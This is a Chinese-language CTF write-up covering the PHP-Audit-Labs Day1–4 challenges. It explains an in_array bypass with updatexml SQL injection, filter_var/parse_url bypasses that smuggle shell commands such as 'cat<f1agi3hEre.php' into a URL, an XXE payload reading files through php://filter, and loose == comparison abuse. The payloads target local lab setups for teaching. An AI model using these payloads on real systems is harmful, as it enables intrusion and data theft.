[紅日安全]PHP-Audit-Labs題解之Day1-4

前言

大家好,我們是紅日安全-代碼審計小組。最近我們小組正在做一個PHP代碼審計的項目,供大家學習交流,我們給這個項目起了一個名字叫 PHP-Audit-Labs 。我們已經發表的系列文章如下:

[紅日安全]代碼審計Day1 - in_array函數缺陷

[紅日安全]代碼審計Day2 - filter_var函數缺陷

[紅日安全]代碼審計Day3 - 實例化任意對象漏洞

[紅日安全]代碼審計Day4 - strpos使用不當引發漏洞

在每篇文章的最後,我們都留了一道CTF題目,供大家練習。下面是 Day1-Day4 的題解:

Day1題解:(By 七月火)

題目如下:

實際上這道題目考察的是 in_array 繞過和不能使用拼接函數的 updatexml 注入,我們先來看一下 in_array 的繞過。在下圖第11~13行處,程序把用戶的ID值存儲在 $whitelist 數組中,然後將用戶傳入的 id 參數先經過stop_hack函數過濾,然後再用 in_array 來判斷用戶傳入的 id 參數是否在 $whitelist 數組中。這裏 in_array 函數沒有使用強匹配,所以是可以繞過的,例如: id=1' 是可以成功繞過 in_array 函數的。

然後在說說 updatexml 注入,這題的注入場景也是在真實環境中遇到的。當 updatexml 中存在特殊字符或字母時,會出現報錯,報錯信息爲特殊字符、字母及之後的內容,也就是說如果我們想要查詢的數據是數字開頭,例如 7701HongRi ,那麼查詢結果只會顯示 HongRi 。所以我們會看到很多 updatexml 注入的 payload 是長這樣的 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) ,在所要查詢的數據前面憑藉一個特殊符號(這裏的 0x7e 爲符號 '~' )。

回到題目,我們看一下 stop_hack 函數過濾了什麼。可以發現該方法過濾了字符串拼接函數(下圖第2行),所以我們就要用其他方法來繞過。

我們直接來看一下本題的 payload

http://localhost/index.php?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

實際上,繞過的思路還是將特殊字符或字母拼接在我們想要的數據的前面,讓數據的第一個字符爲字母或符號即可,這裏給出我以前寫的分析 文章 ,供大家參考學習。

Day2題解:(By 七月火)

題目如下:

這道CTF題目,實際上考察的是 filter_var 函數的繞過與遠程命令執行。在題目 第6行 ,程序使用 exec 函數來執行 curl 命令,這就很容易讓人聯繫到命令執行。所以我們看看用於拼接命令的 $site_info['host'] 從何而來。在題目 第2-4行 ,可以看到 $site_info 變量是從用戶傳來的 url 參數經過 filter_varparse_url 兩個函數過濾而來。之後,又規定當 url 參數的值以 sec-redclub.com 結尾時,纔會執行 exec 函數。

所以讓我們先來繞過 filter_varFILTER_VALIDATE_URL 過濾器,這裏提供幾個繞過方法,如下:

http://localhost/index.php?url=http://[email protected]
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最後一個payload的#符號,請換成對應的url編碼 %23

接着要繞過 parse_url 函數,並且滿足 $site_info['host'] 的值以 sec-redclub.com 結尾,payload如下:

http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/

當我們直接用 cat f1agi3hEre.php 命令的時候,過不了 filter_var 函數檢測,因爲包含空格,具體payload如下:

http://localhost/index.php?url=demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/

所以我們可以換成 cat<f1agi3hEre.php 命令,即可成功獲取flag:

關於 filter_var 函數繞過更多的細節,大家可以參考這篇文章:SSRF技巧之如何繞過filter_var( ) ,關於命令執行繞過技巧,大家可以參考這篇文章:淺談CTF中命令執行與繞過的小技巧

Day3題解:(By 七月火)

題目如下:

這道題目考察的是實例化漏洞結合XXE漏洞。我們在上圖第18行處可以看到使用了 class_exists 函數來判斷類是否存在,如果不存在的話,就會調用程序中的 __autoload 函數,但是這裏沒有 __autoload 函數,而是用 spl_autoload_register 註冊了一個類似 __autoload 作用的函數,即這裏輸出404信息。

我們這裏直接利用PHP的內置類,先用 GlobIterator 類搜索 flag文件 名字,來看一下PHP手冊對 GlobIterator 類的 構造函數的定義:

public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一個參數爲要搜索的文件名,第二個參數爲選擇文件的哪個信息作爲鍵名,這裏我選擇用 FilesystemIterator::CURRENT_AS_FILEINFO ,其對應的常量值爲0,你可以在 這裏 找到這些常量的值,所以最終搜索文件的 payload 如下:

http://localhost/CTF/index.php?name=GlobIterator&param=./*.php&param2=0

我們將會發現flag的文件名爲 f1agi3hEre.php ,接下來我們使用內置類 SimpleXMLElement 讀取 f1agi3hEre.php 文件的內容,,這裏我們要結合使用PHP流的使用,因爲當文件中存在: < > & ' " 這5個符號時,會導致XML文件解析錯誤,所以我們這裏利用PHP文件流,將要讀取的文件內容經過 base64編碼 後輸出即可,具體payload如下:

http://localhost/CTF/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>&param2=2

上面payload中的param2=2,實際上這裏2對應的模式是 LIBXML_NOENT ,具體可以參考 這裏

Day4題解:(By 七月火)

本次題目爲QCTF 2018中的一道題目,由於代碼太多,這裏就不貼出原圖片。題目的場景爲:一個彩票系統,每位用戶初始情況下有20$,由用戶輸入一個7位數,系統也會隨 機生成一個7位數。然後逐位數字進行比較,位數相同的個數越多,獎勵的錢也越多。當你的錢足夠買flag的時候,系統就會給你flag。

我們來看一下後臺代碼是如何進行比較的,比較代碼在 buy.php 文件中:

在上圖中看到表單的部分( 代碼4-8行 ),調用了 js/buy.js 文件,應該是用來處理上面的表單的,我們具體看一下 js 代碼:

第10行 處看到,程序將表單數據以 json 格式提交到服務器端,提交頁面爲 api.php ,我們轉到該文件看看。

這裏主要是對數字進行比較,注意 第13行 用的是 == 操作符對數據進行比較,這裏會引發安全問題。因爲用戶的數據是以 json 格式傳上來的,如果我們傳一個數組,裏面包含7個 true 元素,這樣在比較的時候也是能相等的。因爲 == 運算符只會判斷兩邊數據的值是否相等,並不會判斷數據的類型。而語言定義,除了 0、false、null 以外均爲 true ,所以使用 true 和數字進行比較,返回的值肯定是 true 。只要後臺生成的隨機數沒有數字0,我們傳入的payload就能繞過每位數字的比較。我們發送幾次payload後,就可以買到flag了。

在看官方WP的時候,還發現另外一種解法,也是一種不錯的思路。

另外比賽過程中發現有的選手用了暴力重複註冊然後買彩票的方法。考慮了一下這種方法花費的時間並不比直接審計代碼短,爲了給廣大彩民一點希望,可以留作一種備選的非預期解,就沒有改題加驗證碼或者提高flag價格。

總結

我們的項目會慢慢完善,如果大家喜歡可以關注 PHP-Audit-Labs 。大家若是有什麼更好的解法,可以在文章底下留言,祝大家玩的愉快!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章